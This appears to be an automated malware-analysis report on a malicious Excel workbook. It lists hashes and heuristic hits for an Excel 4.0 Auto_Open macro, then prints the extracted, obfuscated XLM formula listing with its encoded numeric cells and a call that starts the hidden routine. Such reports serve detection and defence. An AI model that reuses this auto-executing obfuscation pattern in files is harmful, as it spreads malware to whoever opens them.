Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 049c1b178047e5c1…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:57 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 3bf57ce2c5e95d01104fa7c017727cbf SHA-1: 94c192705a01ddaeaa7aee56eb9c2cc507579598 SHA-256: 049c1b178047e5c1fbb757028fdc6c403e2cf0c6faa27099bcf92aa1662a63df
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6826 bytes
SHA-256: ce022d86ce296e22f7ec4a61425f4c135ff24eb86a5b2e657fa598a0d87e7bfb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  fNqMBKWZwR
' 0018     25 LABEL : Cell Value, String Constant - AMULVuWPMa len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I141 
' 0018     20 LABEL : Cell Value, String Constant - cQrNj len=0 
' 0018     23 LABEL : Cell Value, String Constant - DFiAsldB len=0 
' 0018     20 LABEL : Cell Value, String Constant - hJfSV len=0 
' 0018     26 LABEL : Cell Value, String Constant - kcdRPOKSPlC len=0 
' 0018     26 LABEL : Cell Value, String Constant - RaTmWnhRdvt len=0 
' 0018     27 LABEL : Cell Value, String Constant - rfQTlQiuKFkP len=0 
' 0018     23 LABEL : Cell Value, String Constant - RRHQKgdU len=0 
' 0018     25 LABEL : Cell Value, String Constant - SauGFOndwg len=0 
' 0018     26 LABEL : Cell Value, String Constant - ugjmcTViJpR len=0 
' 0018     20 LABEL : Cell Value, String Constant - UGVYu len=0 
' 0018     26 LABEL : Cell Value, String Constant - VfaywZqLjHe len=0 
' 0018     21 LABEL : Cell Value, String Constant - Wzsjne len=0 
' 0018     26 LABEL : Cell Value, String Constant - XelFgvqQGhF len=0 
' 0018     21 LABEL : Cell Value, String Constant - yCWOGL len=0 
' 0018     24 LABEL : Cell Value, String Constant - YDLzTJNmo len=0 
' 0018     20 LABEL : Cell Value, String Constant - yLbFf len=0 
' 0018     23 LABEL : Cell Value, String Constant - zkMiOjWj len=0 
' 0018     25 LABEL : Cell Value, String Constant - zPWZzkqseF len=0 
' 0018     23 LABEL : Cell Value, String Constant - zRzgrGMz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  fNqMBKWZwR,I53,"SET.NAME("YDLzTJNmo",0+VALUE("0"))",""
'  fNqMBKWZwR,I58,"SET.NAME("hJfSV",YDLzTJNmo)",""
'  fNqMBKWZwR,I61,"SET.NAME("yLbFf",YDLzTJNmo)",""
'  fNqMBKWZwR,I63,"SET.NAME("zPWZzkqseF",COUNTA(RRHQKgdU))",""
'  fNqMBKWZwR,R65,"",425.00000000000000000000
'  fNqMBKWZwR,R66,"",-440.00000000000000000000
'  fNqMBKWZwR,R67,"",697.00000000000000000000
'  fNqMBKWZwR,I68,"SET.NAME("cQrNj",COUNTA(kcdRPOKSPlC))",""
'  fNqMBKWZwR,R68,"",799.00000000000000000000
'  fNqMBKWZwR,R69,"",-651.00000000000000000000
'  fNqMBKWZwR,I70,[],""
'  fNqMBKWZwR,R70,"",452.00000000000000000000
'  fNqMBKWZwR,I73,"SET.NAME("ugjmcTViJpR","")",""
'  fNqMBKWZwR,I75,"hJfSV",""
'  fNqMBKWZwR,I79,"SET.NAME("zRzgrGMz",HLOOKUP("*",RRHQKgdU,hJfSV,FALSE))",""
'  fNqMBKWZwR,I84,"yCWOGL",""
'  fNqMBKWZwR,I89,"SET.NAME("SauGFOndwg",YDLzTJNmo)",""
'  fNqMBKWZwR,I91,[],""
'  fNqMBKWZwR,I96,"SauGFOndwg",""
'  fNqMBKWZwR,I101,"DFiAsldB",""
'  fNqMBKWZwR,I106,"zkMiOjWj",""
'  fNqMBKWZwR,I109,"AMULVuWPMa",""
'  fNqMBKWZwR,I111,"SET.NAME("VfaywZqLjHe",VALUE(HLOOKUP("*",kcdRPOKSPlC,AMULVuWPMa,FALSE)))",""
'  fNqMBKWZwR,I113,"XelFgvqQGhF",""
'  fNqMBKWZwR,I118,"ugjmcTViJpR",""
'  fNqMBKWZwR,I122,"yLbFf",""
'  fNqMBKWZwR,I124,NEXT(),""
'  fNqMBKWZwR,I126,"Wzsjne",""
'  fNqMBKWZwR,I129,[],""
'  fNqMBKWZwR,I131,"rfQTlQiuKFkP",""
'  fNqMBKWZwR,I133,NEXT(),""
'  fNqMBKWZwR,I137,RETURN(),""
'  fNqMBKWZwR,I167,"SET.NAME("UGVYu",I53)",""
'  fNqMBKWZwR,I169,"RRHQKgdU",""
'  fNqMBKWZwR,I171,"SET.NAME("kcdRPOKSPlC",R53C14)",""
'  fNqMBKWZwR,I175,"SET.NAME("rfQTlQiuKFkP",183)",""
'  fNqMBKWZwR,I178,"SET.NAME("RaTmWnhRdvt",9)",""
'  fNqMBKWZwR,I182,UGVYu(),""
'  fNqMBKWZwR,I183,HALT(),""

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